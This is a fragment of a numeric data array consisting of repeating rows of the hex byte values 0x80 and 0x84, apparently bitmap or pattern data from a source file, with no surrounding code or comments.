0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 